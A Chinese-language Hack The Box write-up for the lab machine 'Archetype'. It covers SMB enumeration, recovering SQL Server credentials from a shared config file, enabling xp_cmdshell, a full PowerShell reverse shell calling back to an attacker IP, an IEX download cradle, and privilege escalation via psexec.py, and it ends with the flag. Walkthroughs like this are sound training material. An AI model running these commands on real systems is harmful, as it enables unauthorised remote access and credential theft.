hackthebox-Archetype
前言
Starting Point->Connect to Starting Point,下拉下载你的vpn文件
得到的.ovpn文件可以直接放在kali,执行openvpn XXX.opvn
即可连接到靶场
信息收集
靶场地址:10.10.10.27
先上nmap:
nmap -sC -sV 10.10.10.27
- -sC:使用默认脚本进行扫描,等同于–script=default
- -sV:探测开启的端口来获取服务、版本信息
得到信息如下:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-06-23T05:35:15
|_Not valid after: 2051-06-23T05:35:15
|_ssl-date: 2021-06-23T05:58:16+00:00; +18m27s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h42m26s, deviation: 3h07m50s, median: 18m26s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-06-22T22:58:01-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-23T05:58:05
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
smb匿名访问
可以看到445端口和1433端口是开放的,分别对应的是smb和sql server服务。
这值得我们去检查它是否存在匿名访问许可,因为共享文件里通常会储存一些密码或者敏感信息的配置文件。我们可以尝试去查看有哪些共享文件。(smbclient命令详解:http://www.linuxso.com/command/smbclient.html )
smbclient -N -L //10.10.10.27/
- -N:匿名登录
- -L:获取共享资源列表
发现一个backups的目录
我们尝试匿名访问:
smbclient -N //10.10.10.27/backups
ls查看,有一个prod.dtsConfig
文件
我们可以进行查看more prod.dtsConfig
也可以下载下来查看:get prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
从这个信息中我们得到sql server的用户和密码
impacket工具
接下来是工具impacket
的下载和使用
我们可以使用docker安装
拉取镜像:docker build -t "impacket:latest"
创建容器: docker run -it --rm "impacket:latest"
也可以使用git下载:git clone https://github.com/CoreSecurity/impacket.git
此处也提供一个蓝奏云下载链接:蓝奏云,密码:9hkk
安装
安装的时候可能会遇到一些环境兼容的问题,此处我使用的kali2020,由于多久没有使用了,先apt-get update
一波,然后再安装python3,apt-get install python3 -y
:
解压并安装:
unzip impacket-master.zip
cd impacket/
python3 -m pip install .
安装完成后,可以进去看有哪些脚本:cd impacket/examples
我们需要的脚本是mssqlclient.py
利用前面泄露的id和密码登陆(ARCHETYPE\sql_svc
和M3g4c0rp123
)
使用脚本(mssqlclient.py user@ip -windows-auth,我们可以直接运行mssqlclient.py,会有如何使用的提示):
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
输入密码:M3g4c0rp123
执行SELECT IS_SRVROLEMEMBER('sysadmin')
,查看权限
返回值是1,代表true,说明当前用户具有sysadmin权限,能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行
我们可以执行下列代码:
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure; \\确认上面的操作
sp_configure; \\查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
xp_cmdshell "whoami" \\在靶机上调用cmdshell执行whoami
shell反弹
获取操作系统普通用户权限前,我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作
在桌面建立一个powershell的反弹shell文件shell.ps1(注意修改其中的ip地址为接收shell的kali主机的地址),代码如下:
$client = New-Object System.Net.Sockets.TCPClient("192.168.15.128",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
文件格式是powershell,后缀是.psl,我们暂且命名为shell.psl
kali中利用python搭建小型web服务:python3 -m http.server 80
开启监听:nc -lvnp 443
数据库shell执行(ip记得替换):
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"
在此处的时候我遇到了如下问题,执行回显不能连接远程服务器(我后续想了一下,难道是kali机的防火墙的问题,不对啊,http://192.168.15.128也能访问的,难道是不在10段被过滤了?后续就没有再去验证了,希望有知道原因的读者可以指点一下笔者,在此多谢了):
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"
output
--------------------------------------------------------------------------------
Exception calling "DownloadString" with "1" argument(s): "Unable to connect to the remote server"
At line:1 char:1
+ IEX (New-Object Net.WebClient).DownloadString("http://192.168.15.128/ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
NULL
SQL>
据网友的截图显示如下,说明成功:
可以看到有一个user.txt
netcat中执行:type C:\Users\sql_svc\Desktop\user.txt
由于这是一个普通的用户帐户以及服务帐户,因此通常检查访问文件或执行的命令。我们可以使用下面的命令访问PowerShell历史文件。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt
提权
发现administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是administrator用户名和它的密码(administrator
和MEGACORP_4dm1n!!
),可以使用Impacket中的psexec.py来提权:
psexec.py administrator@10.10.10.27
执行以下命令获取管理员的flag:type C:\Users\Administrator\Desktop\root.txt
flag:b91ccec3305e98240082d4474b848528
参考
部分参考:https://blog.csdn.net/qq_45951598/article/details/115269502
以及参考官方wp:有时间再放个官方wp文件的链接